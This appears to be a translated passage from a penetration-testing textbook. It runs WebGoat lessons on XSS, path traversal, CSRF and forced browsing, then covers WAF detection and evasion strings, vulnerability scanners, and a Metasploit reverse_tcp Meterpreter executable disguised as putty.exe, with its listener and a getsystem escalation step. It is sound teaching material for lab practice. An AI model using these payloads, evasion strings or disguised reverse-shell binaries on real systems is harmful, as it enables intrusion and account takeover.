  1. 点击Stage 5: Reflected XSS以打开课程并阅读此阶段所需的说明。根据说明,你必须在应用程序的搜索功能中嵌入一个 XSS 字符串。

  2. 我们需要做的第一件事是以其中一个用户的身份登录。由于我们已经在应用程序中列出了用户Larry,所以我们将使用这个用户。

  3. 以用户Larry的身份登录,然后点击SearchStaff以打开应用程序代码的搜索部分。

  4. Name字段中输入<script>alert("You are Hacked")</script>,然后点击FindProfile按钮来运行脚本。结果的示例如下截图所示:跨站脚本攻击

就是这样!你已经进行了许多不同的 XSS 攻击,而且它们确实相对容易防止。然而,我们继续在 Web 应用程序中看到这些问题,并且它们将在一段时间内仍然作为一种可行的攻击向量存在。

不安全的直接对象引用

使用直接对象引用时,开发人员引用文件或其他对象而不使用任何形式的身份验证或访问控制检查。当我们发现这一点时,我们可以操纵数据并在不提供任何授权的情况下访问它。

我们将再次参考 WebGoat 工具来对抗应用程序的这种攻击。在 OWASP WebGoat 中,你要关注的区域是访问控制漏洞。一旦你扩展了它,你会看到有许多课程供我们使用。课程列表如下截图所示:

不安全的直接对象引用

我们想要打开的课程是列表中的第二个。点击Bypass a Path Based Access Control Scheme并阅读课程的说明。任何基于路径的控制保护的关键在于我们可以打破预期目录并访问位于另一个区域的文件。该课程应用程序的第一页如下截图所示:

不安全的直接对象引用

因此,挑战在于修改路径并访问当前目录之外的文件;在这种情况下,文件是tomcat-users.xml。你认为我们可以如何做到这一点?我们需要拦截某些东西,为此,我们必须使用代理来捕获查询。之前,我们使用了一个名为 Tamper Data 的工具,我们将再次使用它。首先,让我们启动一个工作空间来记录我们目前所拥有的信息。我们将使用记事本,但你可以使用任何你选择的程序。我们需要将当前目录路径和我们想要访问的文件的路径复制并粘贴到这个文档中。我们的工作空间示例如下截图所示:

不安全的直接对象引用

当我们查看工作空间中的信息时,我们发现在当前目录的路径中有几个目录,然后才能到达tomcat目录。然而,有一个问题。我们得到的当前目录有一个tomcat6目录,但我们的目标文件目录没有这个。说明中确实说过路径可能会不同,在这种情况下就是这样。我们需要使tomcat目录与当前目录匹配为tomcat6。突破访问控制的关键是使用../目录遍历技术来跳出目录。由于在tomcat6文件夹之前有四个目录,我们至少需要输入这么多目录遍历。因此,我们可以始终输入更多以确保安全。尝试绕过访问控制的字符串的工作空间示例如下截图所示:

不安全的直接对象引用

接下来的步骤是使用 Tamper Data 工具拦截查询,然后将我们的路径粘贴到包含我们正在尝试从应用程序上传的文件的字段中:

  1. 我们将导航到OffByOne.html | 查看文件并拦截查询。拦截到的查询示例如下截图所示:不安全的直接对象引用

拦截的查询显示我们正在查看文件字段,这就是我们需要放置我们准备好的字符串的地方。

  1. 将字符串粘贴到字段中,然后单击确定将字符串发送到应用程序。返回到 WebGoat 课程并查看发生了什么。示例如下截图所示:不安全的直接对象引用

  2. 正如前面的截图所示,我们第一次尝试并不成功,但错误消息告诉我们,我们似乎在我们的路径中只有一个目录。我们将在我们的字符串中再添加一个目录遍历,看看会发生什么。添加了一个目录遍历后的结果示例如下截图所示:不安全的直接对象引用

最终我们成功地突破了基于路径的访问控制。这可能是一个耗时的过程,这就是为什么我们通常使用 Web 应用程序测试工具来帮助我们识别需要进一步调查的领域。

安全配置错误

一种常见的攻击方法是寻找管理员设置的默认配置或名称,或者只是保留在安装状态下。对于 Web 应用程序,几乎总会有某种形式的配置访问,可用于配置或管理站点。我们在 WebGoat 工具中有一个关于这个的课程。导航到不安全配置 | 强制浏览以打开课程。正如您在说明中所读到的,通常会有一些可访问的配置来执行维护。我们可以尝试一些不同的文件名,但由于 OWASP 机器是一台 Linux 机器,这些机器最常见的配置文件是conf文件。因此,在浏览器中,将 URL 更改为http://10.2.0.132/WebGoat/conf,以查看是否有配置文件位于此处。这个结果的示例如下截图所示:

安全配置错误

就是这样!我们找到了一个不应该向公众开放的配置访问,但它却是。这是网站经常犯的一个错误。

敏感数据暴露

大多数 Web 应用程序没有正确保护它们要么处理的数据,要么存储的数据。发现数据未经加密或编码不当是很常见的。此外,当应用程序处理数据时,在许多情况下会暴露数据。

在 WebGoat 工具中,有一个课程可以让我们更加熟悉不同的编码技术。导航到不安全存储 | 编码基础以打开课程;以下是一个示例截图:

敏感数据暴露

这个课程非常简单,所以我们不会在这里再详细介绍。鼓励您输入几个字符串,然后在提供的表格中查看结果。

缺少功能级访问控制

这种弱点是由于开发人员在将功能可见于用户界面UI)之前未验证功能级访问控制。一旦发现这一点,您就可以伪造请求并可能在没有适当授权的情况下获得访问权限。

跨站请求伪造

跨站请求伪造CSRF)攻击中,我们需要用户登录到一个已建立会话并使用 cookie 的网站。当满足这些条件时,攻击会获取包含的身份验证信息并将其提交给一个易受攻击的应用程序。由于应用程序存储了身份验证信息,因此请求被视为合法。

在 WebGoat 工具中,我们有一些关于 CSRF 的课程。它们位于关于跨站脚本攻击 XSS 的部分。在 WebGoat 工具中,导航到跨站脚本攻击(XSS) | 跨站请求伪造以打开课程并查看课程说明。

对于这种攻击,我们需要向嵌入的 URL 添加一个转账功能,以获取用户的身份验证信息并用于验证我们的交易。我们将在 URL 中附加代码来转账。按照说明,我们可以通过右键单击页面左侧的课程标题并将其保存到剪贴板来复制 URL。我们想要使用<IMG>标签来存储我们的 URL。过程是发送一封电子邮件,让用户在登录到我们欺骗使用的应用程序时点击链接进行转账。

我们需要在两个区域输入信息。第一个是标题,第二个是消息。让我们按照以下方式进行:

  1. CSRF-1输入为标题的名称,然后输入以下字符串作为消息,要注意 IP 地址可能在您的攻击中有所不同。输入以下内容作为消息:
<IMG SRC="http://10.2.0.132/WebGoat/attack?Screen=52&menu=900&transferFunds=4000"width="1" height="1"/>

以下是一个示例截图:

跨站请求伪造

输入代码的 CSRF 屏幕(裁剪的文本不重要)

  1. 确认命令后,点击提交按钮。这将把您的标题放在应用程序的底部。

  2. 在您点击之前,启动您的 Tamper Data 代理并拦截请求。以下是拦截请求的示例截图:跨站请求伪造

在拦截的查询中查看信息后,点击确定,让查询发送到应用程序。如果需要,刷新 WebGoat 课程。您现在应该看到绿色的勾号,表示您成功了,如下面的截图所示:

跨站请求伪造

还有更多这样的课程可供您练习 CSRF,并鼓励您通过它们来完善您的技能、知识和对 Web 应用程序攻击的理解。

使用已知的易受攻击组件

在应用程序开发中,使用现有库和函数创建代码是一种常见做法,最近这种做法已被利用在攻击中。如果我们可以感染一个库、框架或其他流行组件,那么使用它的每一个应用程序都将面临漏洞。这是传播漏洞最有效的方式之一,也是越来越常见的事情,基于这一点,它在 2013 年被添加到顶级攻击列表中。

无效的重定向和转发

在这次攻击中,我们利用了许多 Web 应用程序会在没有适当验证的情况下使用重定向和转发,这可能导致流量重定向到恶意软件和其他恶意网站。

识别 Web 应用防火墙

当我们进行测试时,很可能会遇到Web 应用防火墙WAF)。这些旨在识别本章中大部分攻击(嗯,大部分基于 URL 的攻击)。我们将再次转向 Kali Linux 发行版来识别 WAF。您需要您的 Kali Linux 机器和我们在第六章中创建的 WAF 机器,创建外部攻击架构

一旦机器开始运行,我们要做的第一件事是确定我们的网站是否受到 Web 应用防火墙的保护。我们有几种方法可以做到这一点,每种方法的成功率都不同。我们将尝试的第一种方法是Nmap工具。

在您的 Kali Linux 机器上,打开终端窗口,输入nmap –p 80 -–script –http-waf-detect <目标 IP 地址>。这个脚本引擎将尝试确定是否存在 Web 应用防火墙。示例如下截图所示:

识别 Web 应用防火墙

正如前面的屏幕截图所示,脚本没有检测到我们正在运行 WAF,所以它并不总是有效。接下来,我们将查看dotDefender控制台,看它是否检测到我们的扫描。为此,我们需要打开浏览器,输入防火墙的地址,然后登录。示例如下截图所示:

识别 Web 应用防火墙

正如前面的屏幕截图所示,它检测到正在运行的脚本,但不幸的是,它没有告诉我们是否正在运行 WAF。所以,我们将查看另一个工具。在 Kali 中,我们有一个用于此目的的工具。转到应用程序 | Kali | IDS/IPS 识别 | Wafw00f,如下截图所示:

识别 Web 应用防火墙

一旦工具打开,输入wafw00f –v www.example.com在终端窗口中对站点进行扫描。我们正在扫描站点并比较从我们的探测中收到的信息。示例结果如下截图所示:

识别 Web 应用防火墙

结果显示,该网站似乎在防火墙后面。现在,我们将使用该工具扫描我们的 dotDefender 机器。我们通过将目标更改为我们机器的 IP 地址来执行此操作。示例结果如下截图所示:

识别 Web 应用防火墙

正如前面的屏幕截图所示,使用 wafw00f 工具似乎无法检测到最新版本的 dotDefender。这就是安全测试的现实,一旦某个东西存在一段时间后,就会有一群人试图找出改变或至少修改产品对工具的反应方式的方法。这就是为什么我们建立实验环境并查看什么有效和无效的原因。有时候,我们会很幸运地找到另一种识别错误的方法;此外,在某些情况下,错误消息可以列出设备的身份。这都是试错的过程。

渗透 Web 应用防火墙

正如我们之前讨论过的,规避检测可能是一个挑战,这与管理员如何配置策略有关。互联网上有很好的参考资料,您可以使用它们来查看您的混淆技术是否有效。免费开源的 WAF ModSecurity提供了一个网站,您可以在该网站上测试字符串,以查看它是否可能被 WAF 检测到。您可以在此位置找到该网站www.modsecurity.org/demo

一旦网站打开,您会看到有一个区域可以发布不同的字符串并查看结果。在您这样做之前,您还会看到他们列出了许多商业供应商用来展示其工具的网站。以下是此示例的屏幕截图:

穿透 Web 应用程序防火墙

屏幕显示了许多商业供应商用来展示其工具的网站列表(裁剪的文本不重要)

单击页面上的ModSecurity CRS Evasion Testing Demo链接。这将测试该字符串是否符合 ModSecurity 工具的核心规则集签名,并且您将找到输入潜在混淆脚本以查看是否被检测到的区域。它不仅告诉您是否被检测到,还为字符串提供了一个数值分数的排名。对于我们的第一个示例,我们将尝试一个简单的示例来查看表单的工作原理。在表单框中,输入经典的 SQL 注入字符串' OR 1=1 –-,然后单击发送按钮并查看结果。以下是结果的示例屏幕截图:

穿透 Web 应用程序防火墙

正如前面的屏幕截图所示,我们已经被检测到了!嗯,我们希望如此,因为我们使用了最常见和经典的字符串进行测试。我们还看到我们得分是 35。我们将看看是否可以降低得分。输入此字符串:1' AND non_existant_table ='1。以下是结果的示例屏幕截图:

穿透 Web 应用程序防火墙

该死!我们又被检测到了!至少有一些好消息;我们已经将得分降低到 25。这就是我们尝试找到得分更低或不被检测到的字符串的过程。我们将尝试一个 SQL 的字符串,然后继续尝试一个 XSS 的字符串。在负载窗口中,输入此字符串:&#49&#39&#32&#79&#82&#32&#39&#49&#39&#61&#39&#49

以下是结果的示例,显示在下面的屏幕截图中:

穿透 Web 应用程序防火墙

我们成功了!这是您在 Security Compass 的SQL Inject-Me工具中找到的字符串。您可以在他们的网站www.securitycompass.com找到该工具。现在我们准备看看是否可以找到一个不被检测到的 XSS 字符串。我们将为您节省一些时间,并尝试一个我们认为有很大机会要么得到低分,要么不被检测到的字符串。在负载窗口中,输入此字符串:prompt%28%27xss%27%29。以下是结果的示例屏幕截图:

穿透 Web 应用程序防火墙

我们再次成功了。现在我们有一个不被检测到的 XSS 和 SQL 注入字符串。当然,现实情况是我们已经提交了这些字符串,所以有人可能会做功课,然后在您阅读本书时我们将被检测到。如果发生这种情况,我们的工作就是继续尝试不同的方法,直到找到一个有效的方法。此外,这只是潜在地让我们通过 WAF,接下来就取决于应用程序开发人员是否使用了安全编码准则或最佳实践。欢迎来到专业安全测试的世界!

工具

到目前为止,在本书中,我们并没有专门设置关于工具的主题点。在大多数情况下,我们保持了过程中心,并在每个章节中讨论了一些工具。对于网页应用程序测试来说,情况就不同了。正如您在本章中看到的那样,有许多种输入和与网页应用程序交互的方式,这就是这种测试的挑战所在。因此,最好使用工具来获取大量数据,然后手动去调查感兴趣的领域。市面上有大量的工具,我们在这里不会逐一介绍。

我们喜欢使用的工具之一是Burp Suite,它有免费版本和商业版本。我们喜欢它,因为它允许我们在测试时做各种各样的事情,而且我们也喜欢商业版本的价格非常合理。您可以在www.portswigger.net找到有关该工具的信息。免费版本也可以在 Kali Linux 发行版中找到。要访问它,请导航至应用程序 | Web 应用程序 | Web 应用程序模糊器 | burpsuite以打开该工具。该工具的菜单示例如下截图所示:

工具

正如前面的屏幕截图所示,该工具具有许多功能,可以在进行网页应用程序测试时帮助我们。

总结

在本章中,我们讨论了对 Web 服务器和 Web 应用程序的评估。我们从讨论 OWASP 十大漏洞开始了本章。在讨论之后,我们使用了 WebGoat 工具,并进行了一些课程,展示了网页应用程序测试的概念和技术。

在研究了 OWASP 十大漏洞之后,我们研究了识别我们和目标之间的网页应用程序防火墙的方法。我们使用了 wafw00f 工具来潜在地检测已部署的保护类型。

一旦我们了解了如何检测 WAF,我们就讨论了如何渗透它。我们研究了我们可以使用的混淆方法,以尝试绕过 WAF 提供的保护。我们将样本字符串提交到 ModSecurity 演示站点,并成功地逃避了 SQL 注入字符串和 XSS 字符串的检测。

最后,我们讨论了在进行网页测试时需要工具的必要性,特别是网页应用程序测试。

这结束了本章。您现在已经练习了网页应用程序攻击以及检测和规避防火墙的方法。

在下一章中,我们将研究对平面和内部网络的测试。

第十章:测试平面和内部网络

在本章中,您将学习在网络是平面的情况下评估网络的技术,也就是说,我们和目标之间没有任何障碍。这使得我们的任务变得更容易;此外,网络内部通常是最受信任的位置,因此在涉及到二层和物理**媒体访问控制(MAC)**地址的分配时,它提供了最少的阻力。在本章中,我们将讨论以下主题:

  • 漏洞扫描器的作用

  • 处理主机保护

本章将为我们提供有关在进行内部或白盒测试时,我们不会遇到在进行外部或黑盒测试时所遇到的挑战的详细信息。这并不意味着当网络是平面的并且我们在其中时,我们没有挑战;我们可能会遇到许多挑战。此外,我们必须做好防护的准备,例如基于主机的入侵防护、防病毒软件、主机防火墙和管理员可能部署的增强缓解体验工具EMET)。

当我们从内部测试网络时,目标是模拟多种不同的威胁向量。此外,我们希望以未经身份验证的用户、具有普通权限的用户和具有提升权限的用户的身份访问网络;这与我们在网络内部使用的工具很相配。

漏洞扫描器的作用

那么,漏洞扫描器在其中扮演了什么角色呢?嗯,这就是它们擅长的地方:当您提供扫描器的凭据时,扫描器可以登录到计算机并检查客户端软件。这是我们在外部测试环境中大部分时间无法做到的事情。

在我们介绍 Kali Linux 发行版中可用的不同扫描工具之前,我们将看看两个可以用于内部网络漏洞评估的免费工具。

Microsoft 基线安全分析器

我们要看的第一个工具来自微软,它是Microsoft 基线安全分析器MBSA)。您可以从以下链接下载该工具:www.microsoft.com/en-us/download/details.aspx?id=7558

MBSA 工具的一个好处是它来自微软,并且对缺失的内容有很好的了解。它还可以很好地识别缺失的补丁并且可以识别安全配置错误。

当您下载并安装了该工具后,打开它并启动程序。以下是开屏配置的示例截图:

Microsoft 基线安全分析器

显示工具运行状态的屏幕(裁剪的文本不重要)

我们想要用工具做的第一件事是扫描一台计算机。要做到这一点,点击扫描计算机来开始配置过程并打开扫描数据输入屏幕。正如您所看到的,我们有相当多的扫描方式和一些可选设置可以选择。以下是一个示例截图:

Microsoft 基线安全分析器

在这个例子中,您可以扫描任何您喜欢的机器。我们将扫描我们正在撰写本书的本地主机。当您选择了目标后,点击开始扫描来开始扫描。随后,您将看到该工具连接到微软并下载最新的补丁信息。您也可以配置它从本地服务器获取信息,以防您的网络上没有可用的互联网连接。

以下是完成的扫描示例截图:

Microsoft 基线安全分析器

正如前面的截图所示,我们对我们扫描的这台机器有一些担忧。该工具的一个很好的特性是,我们可以点击如何纠正此链接,并获取有关发现的额外信息。额外信息的示例可以在以下截图中找到:

Microsoft 基线安全分析器

MBSA 工具很好地展示了漏洞扫描器的优点。这是由网络所有者使用的,因为它帮助他们进行漏洞管理程序。通过内部测试,我们还可以使用漏洞扫描器向客户展示他们的补丁管理策略是否有效。我们接下来要看的工具来自Mitre团队,它是开放漏洞评估语言OVAL)工具。

开放漏洞评估语言

OVAL 工具与 MBSA 工具不同,因为它不仅查看微软软件,还查看其他软件。重要的一点是,这个工具不是企业类型的工具,但是对于我们的内部测试目的,我们可以使用它来查看安装在机器上的软件,并查看是否存在任何漏洞。以下是来自其网站的 OVAL 描述截图:

开放漏洞评估语言

正如前面的截图所示,这个工具是国际化的,并提供了一种评估计算机系统状态的方法。我们将看一下这个工具。为此,我们将看一下 OVAL 解释器,它提供了一种演示工具及其定义的方法;您可以从sourceforge.net/projects/ovaldi/下载它。工具下载完成后,运行工具并安装它。为了本书的目的,我们将其安装在运行 Windows 7 的虚拟机上。请随意在您选择的机器上安装它。下载了工具之后,当您运行可执行文件时,它是一个 SFX 存档,执行后所有文件将解压缩到硬盘上的一个目录中。默认情况下,它将选择Program Files目录;但是,建议您将位置更改为目录名称中没有空格的位置。

解压缩文件后,您可以阅读README.txt文件,您会发现接下来要做的事情是下载最新的定义文件。以下截图显示了有关这些定义文件的信息,包括它们的类型:

开放漏洞评估语言

查看了定义的信息后,我们会想要使用漏洞定义。您可以从oval.mitre.org/rep-data/index.html下载它们的最新版本。在撰写本书时,OVAL 的最新版本是 5.10,这是我们将要使用的版本。您的版本可能不同,因此一些截图可能与本书中的截图不同。

您会注意到定义是按平台划分的;这样我们在运行解释器时只需专注于我们正在使用的特定平台。由于我们在本书中使用的是 Windows 7,我们只会下载它。您还会看到有一个哈希值来帮助维护定义的完整性。

提示

下载了定义之后,您会想把它放在 OVAL 目录中,并将其重命名为definitions.xml

重命名文件后,您就可以运行解释器工具了;在命令提示符窗口中输入以下内容:

ovaldi –m –a xml –x test.html

如果出现应用程序初始化错误,则必须下载适用于您的操作系统版本的正确 Visual C++平台,可能还需要.NET 4.0 包。这是使用 Windows 的一个缺点,特别是在使用开源工具时。当然,您也可能在 UNIX 和 Linux 中遇到相同的问题,例如库依赖性和其他挑战。有关更多信息,请参阅README文件。该命令使用哈希作为验证,以确保定义文件没有损坏。

运行命令时的初始结果示例如下截图所示:

Open Vulnerability Assessment Language

创建特征文件后,您将看到工具报告,指出它正在运行 OVAL 定义分析,并显示收集的日期。这个过程需要一些时间来完成,取决于运行的机器上的软件数量和其他因素。当工具到达这个阶段时的示例如下截图所示:

Open Vulnerability Assessment Language

分析完成后,输出将被写入命令行上指定的文件。在我们的示例中,我们将输出写入test.html文件。以下截图显示了系统信息的示例:

Open Vulnerability Assessment Language

上一张屏幕截图不仅显示了有关机器的信息,还显示了 OVAL 工具本身。它为我们提供了模式版本和产品版本。在此区域下方是工具发现的报告。这是漏洞的列表,包括对外部信息的引用,以了解更多关于发现的信息。以下截图显示了一个示例:

Open Vulnerability Assessment Language

显示了列出的漏洞,包括对外部信息的引用(裁剪的文本不重要)

如前面的截图所示,这里引用了 OVAL ID 和通用漏洞暴露CVE)编号。要获取更多信息,可以单击提供的链接。以下截图显示了 OVAL ID 网站上的信息示例:

Open Vulnerability Assessment Language

OVAL 工具是您可能想要更熟悉的工具。在进行内部测试时,它可以帮助您发现漏洞,而漏洞扫描器可能无法找到。我们现在将看一下通常从远程位置使用的漏洞扫描器。我们在 MBSA 工具中也有这个功能,但它需要特权访问来执行扫描。此外,OVAL 工具也需要特权访问。

无凭证扫描

在我们的内部测试中使用漏洞扫描器时,第一次扫描将不使用凭证,因此我们将查看 Kali Linux 中的工具来实现这一点。在 Kali Linux 中,漏洞扫描器位于应用程序 | Kali Linux | 漏洞分析位置。在这个位置中,有许多工具可供我们用于漏洞扫描。以下截图显示了一个示例:

Scanning without credentials

我们将使用的扫描器是 OpenVAS 扫描器。当您第一次开始使用 OpenVAS 时,需要执行一些步骤。第一步是导航到应用程序 | Kali Linux | 漏洞分析 | OpenVAS | 初始设置。这将下载所需的所有插件,并需要一些时间来完成。工具加载完成后,将要求输入密码;默认用户是admin,您可以输入自己选择的密码。

您需要做的下一件事是打开浏览器并连接到该工具的界面。在浏览器中输入https://127.0.0.1:9392以打开 OpenVAS。下面的截图显示了一个示例:

无凭证扫描

在浏览器中输入 https://127.0.0.1:9392 后显示的界面(裁剪的文本不重要)

使用用户名admin和您在初始设置期间创建的密码登录界面。这将带您进入扫描配置页面,在 Kali 中,包括一个快速入门区域,如下截图所示:

无凭证扫描

在进行扫描之前,我们还有一些额外的步骤要执行。第一步是更新网络漏洞测试NVT)源。导航到管理 | NVT 源 | 立即同步源;一旦同步完成,您需要更新安全内容自动化协议SCAP)源。我们可以通过导航到管理 | SCAP 源 | 与 SCAP 同步,然后通过导航到管理 | NVT 源 | 立即同步 CERT 源来完成这一步。

对于我们的第一次扫描,我们将扫描 Windows XP 机器,因为它应该为我们提供许多发现。正如您在快速入门部分的解释中所看到的,快捷方式可以帮我们省去创建目标和扫描的新任务的麻烦。对于阅读本书的一些人来说,您可能已经在BackTrack发行版上运行过 OpenVAS,并且还记得在那里进行扫描可能有多麻烦。

注意

如果您在 OpenVAS 上遇到问题,有时在 BackTrack 中执行该过程会更容易。由于某种原因,当您更新 Kali Linux 发行版时,有时会导致 OpenVAS 出现问题。有一些非常好的互联网教程可以使用该工具。在 BackTrack 上使用它的一个很受欢迎的教程可以在www.ehacking.net/2011/06/backtrack-5-openvas-tutorial.html找到。尽管它有点过时,但它运行得非常好。

一旦我们扫描了 XP 机器,我们将得到一份发现报告。XP 机器的报告示例如下截图所示:

无凭证扫描

Nessus

我们将使用的下一个工具是 Tenable 的漏洞扫描工具Nessus。您可以从www.tenable.com/products/nessus/select-your-operating-system下载该工具。

一旦您下载了该工具,您需要注册一个家庭注册源,然后安装软件。在本书中,我们将使用该工具的 Windows 版本。这是因为 Web 界面使用 Flash,这有时会在 Kali Linux 发行版中引起问题,因此通常更容易使用 Windows 工具。欢迎您在 Kali 中使用该工具;只需在互联网上搜索教程,它将指导您完成整个过程。

在撰写本书时,Nessus 的最新版本是 5.2.5,此版本包括许多功能和重新设计的 Nessus 界面。此外,他们还增加了创建修复报告的功能。当您进行测试时,这总是一个很好的功能,因为然后您可以帮助客户了解修复您发现的问题需要付出什么样的努力。在此版本中,您需要在执行扫描之前首先选择一个策略。策略选项的示例如下截图所示:

Nessus

在我们的示例中,我们将点击基本网络扫描并打开策略的配置表单。我们将扫描我们的 Windows 7 机器,但首先,我们需要为扫描输入一个名称。我们将输入名称为FirstScan。您还会注意到您可以选择一个范围。我们将保留私有的默认设置,并点击下一步进入下一个屏幕。我们可以选择内部外部作为扫描类型。由于我们在一个平面网络上,我们将使用内部的设置,并点击下一步。这将带我们到一个屏幕,我们可以添加凭据。由于这是一个没有凭据的扫描,我们现在不会这样做。所以,点击保存保存扫描的详细信息。我们第一次扫描策略的示例如下截图所示:

Nessus

现在我们准备开始扫描,所以导航到扫描 | 新扫描开始扫描的配置过程。输入扫描的名称,然后输入目标的 IP 地址。扫描配置的示例如下截图所示:

Nessus

一旦您验证了您的信息,点击启动按钮启动扫描。您会注意到扫描开始了,并且您应该看到一个运行中的消息来指示扫描处于运行状态。这将需要一些时间,但当扫描完成时,您将在状态区域看到它标记为已完成。扫描结果的示例如下截图所示:

Nessus

嗯,这并不是很令人兴奋;我们只有蓝色和三个漏洞。所以,我们需要扫描一些能够提供更多弱点的东西。我们现在就来做这个;下一个扫描将是 Windows XP 机器的扫描。这次扫描的结果示例如下截图所示:

Nessus

嗯,这好一点,但还不够好!

使用凭据进行扫描

再次强调,当提供凭据时,漏洞扫描器的工作效果最佳。到目前为止,我们还没有提供任何凭据。我们现在将这样做。如果您返回到扫描策略的配置,导航到策略 | 新策略,点击基本网络扫描,然后点击下一步。当您到达凭据页面的配置时,您需要输入管理员帐户的用户名和密码。还有一个有凭据的扫描选项,但现在我们将进行与刚才相同的扫描,看看会发生什么。一旦我们输入了所需的详细信息,点击启动启动扫描。

已完成扫描的示例如下截图所示:

Scanning with credentials

我们有一些更多的信息发现,但仍然只有相同的两个中等漏洞,那么现在我们该怎么办呢?这次我们将尝试另一个扫描,选择引用使用凭据的策略。返回扫描配置。当选项出现时,选择有凭据的扫描,让我们看看这是否会带来更多的成功。不幸的是,这也没有带来太多的成功。这个过程是从远程位置进行扫描并记录发现,然后如果范围允许,您可以使用 MBSA 或 OVAL 在本地进行扫描。

在我们继续之前,这里有一个重要的说明:我们一直在尝试对这台机器进行扫描,而那时,这台机器的 Windows 防火墙是开启的。因此,这是内部测试的挑战;如果机器开启了防火墙,可能会使事情变得更加困难。让我们再看一下关闭防火墙的 Windows 7 机器的一次扫描。如果机器在连接到网络时设置为公共,那么文件共享将被关闭,当我们使用工具对其进行扫描时,什么都不会起作用。因此,我们需要确保即使防火墙已启用,我们仍然可以访问文件共享端口。

以下是关闭防火墙的 Windows 7 扫描的示例截图:

使用凭据进行扫描

在这种情况下,我们现在有相当多的漏洞,因为我们将凭据添加到了扫描策略中。这就是漏洞扫描工具的威力所在;当它们有了凭据,它们就会更加有效。

接下来,我们将对 Unix 机器进行有和无凭据的扫描,以便比较不同的操作系统。我们将使用 FreeBSD Unix,实际上,我们将使用一个旧版本来看看我们能发现什么。我们将使用的版本是 6.4,在撰写本书时,版本是 10.0,因此有相当大的差异。以下是没有凭据的 FreeBSD 扫描的示例截图:

使用凭据进行扫描

正如我们从之前的截图中看到的,有三个低级漏洞。这是一台非常古老的 Unix 机器,因此很难相信只发现了三个漏洞。然而,让我们添加一些凭据,看看我们是否能得到更好的结果。对于 Unix 和 Linux,凭据是通过安全外壳SSH)提供的。以下是使用 SSH 凭据进行相同扫描的示例截图:

使用凭据进行扫描

现在我们有 28 个漏洞,但更重要的是,我们发现了一个关键的问题,即操作系统不受支持。我们可能会认为操作系统不受支持是因为它是一个非常旧的版本,但是当你仔细想想,漏洞并没有那么多。

您可能还会注意到,当您尝试扫描 FreeBSD Unix 机器时,扫描似乎需要很长时间。这是因为这台机器知道潜在的扫描是什么样子的,因此会限制它发送的内容。以下是一个示例截图:

使用凭据进行扫描

正如之前的截图所示,扫描工具正在请求大量数据包,而 FreeBSD 机器将其限制为每秒 200 个数据包,无论工具尝试什么。再加上大多数漏洞扫描工具主要关注 Windows,这就是为什么我们在扫描中没有看到很多结果的原因。

我们将尝试进行另一个扫描作为示例,看看当扫描遇到 Linux 目标时,扫描器会检测到什么。我们要做的第一次扫描是在之前创建的 Kioptrix 机器上使用 Nessus 进行扫描。以下是 Kioptrix 机器的 Nessus 网络扫描的示例截图:

使用凭据进行扫描

显示了 Kioptrix 机器的 Nessus 网络扫描示例(裁剪的文本不重要)

这更像是!我们至少可以检测到非常容易受攻击的 Linux 机器。这就是为什么我们在我们的范围内进行测试;我们想知道我们能够检测到什么,以及不能检测到什么。因此,根据本节,FreeBSD Unix 机器没有显示出太多信息,但 Windows 和 Linux 机器显示了。在测试时了解这一点是很重要的。如果你遇到了 Unix 机器,你会知道你可以将它保存到测试的最后,一旦你完成了其他机器的所有细节。

处理主机保护

我们知道很可能会遇到主机保护,因此在我们的渗透测试实验室中,我们想测试不同的主机保护,看看我们能做什么,不能做什么。这是一个取决于管理员和我们所面对的团队的领域。一个硬化的机器上几乎没有运行的服务将对我们的测试构成挑战。

用户账户控制

我们将遇到的最常见的事情之一是用户账户控制UAC);这是因为它默认情况下是开启的,并且在安装 Windows 时很少更改。关于 UAC 和绕过它的方法,一个好的方面是用户习惯于点击。因此,如果弹出窗口说需要权限,用户很可能会点击。我们可以利用这一点,但总有可能用户不会点击。因此,在这些情况下,我们依赖某种形式的 UAC 绕过来帮助我们绕过 UAC 保护。

在 metasploit 框架中,有一个 UAC 绕过,它是位于 Meterpreter shell 中的一个功能。有关 UAC 和绕过它的方法,请参考journeyintoir.blogspot.com/2013/03/uac-impact-on-malware.html

在很大程度上,要利用 Windows 7 机器,我们需要获得某种客户端攻击。我们将在本书的后面讨论这些攻击。现在,我们将使用创建可执行文件的简单方法,然后将其传输到受害者机器。执行时,这将为我们提供对 Windows 7 机器的 shell。一旦我们有了 shell,那么只是通过不同的进程来尝试绕过 UAC 并在机器上实现系统级别特权的问题。

我们要做的第一件事是验证机器上是否启用了 UAC 设置。您可以通过导航到控制面板 | 操作中心 | 更改用户账户控制设置来找到设置。这将打开 UAC 的设置。以下是示例:

用户账户控制

我们将创建一个可执行文件,并将其传输到 Windows 7 虚拟机,以便从被攻击的机器中获得我们的第一个 shell。我们将使用 metasploit 的可执行文件功能。

我们首先需要创建一个可执行文件,用作从 Windows 7 机器返回到我们的 Kali Linux 机器的连接。我们在 metasploit 工具中具有这种能力。在您的 Kali Linux 机器上,打开一个终端窗口,并输入msfconsole来打开 metasploit 工具。一旦 metasploit 工具启动(这将需要一分钟),输入以下命令:

msfpayload windows/meterpreter/reverse_tcp LHOST = <IP ADDRESS OF Kali> LPORT=123 X > putty.exe

这将创建一个名为putty的可执行文件,其中包含用于从网络到 Kali 机器的连接的有效载荷和连接信息。

以下是输入和完成命令的示例:

用户账户控制

屏幕显示输入和完成命令的示例(裁剪的文本不重要)

我们现在已经创建了文件,并需要将其从我们的机器传输到受害者。我们可以使用某种形式的社会工程学;但是,对于我们的目的,在实验环境中,我们将文件拖放到受害者机器中。

接下来我们需要做的是设置 metasploit 工具;我们通过输入以下命令来实现这一点:

  • use exploit/multi/handler

  • set PAYLOAD windows/meterpreter/reverse_tcp

  • set LHOST <Kali IP>

  • set LPORT 123

  • exploit

这将设置监听器,并等待受害者连接。以下是命令的示例:

用户账户控制

现在我们已经准备好连接了。为此,我们需要用户运行我们创建的可执行文件。我们可以使用诸如msfencode之类的编码器来尝试规避已经存在的基于主机的保护措施。然而,在测试环境中,我们只能验证规避是否适用于我们的配置,并不能保证我们在目标环境中会得到相同的配置。当程序运行时,我们应该在我们的 Kali 窗口中看到一个连接和会话打开。以下截图显示了一个示例:

用户账户控制

现在我们有了一个 shell。接下来就是棘手的部分;我们必须尝试提升权限,但首先我们需要看看我们目前的权限级别是什么。在受害机器上的 shell 中输入getuid来显示您当前的权限级别。以下截图显示了一个示例:

用户账户控制

正如前面的截图所示,我们不是系统,所以我们需要提升权限并绕过 UAC 保护。首先要尝试的是看看 Meterpreter shell 是否能为我们执行特权升级。我们可以通过输入getsystem来让它尝试将权限提升到系统级别。以下截图显示了一个示例:

用户账户控制

显示输入 getsystem 并让其尝试将权限提升到系统(裁剪的文本不重要)

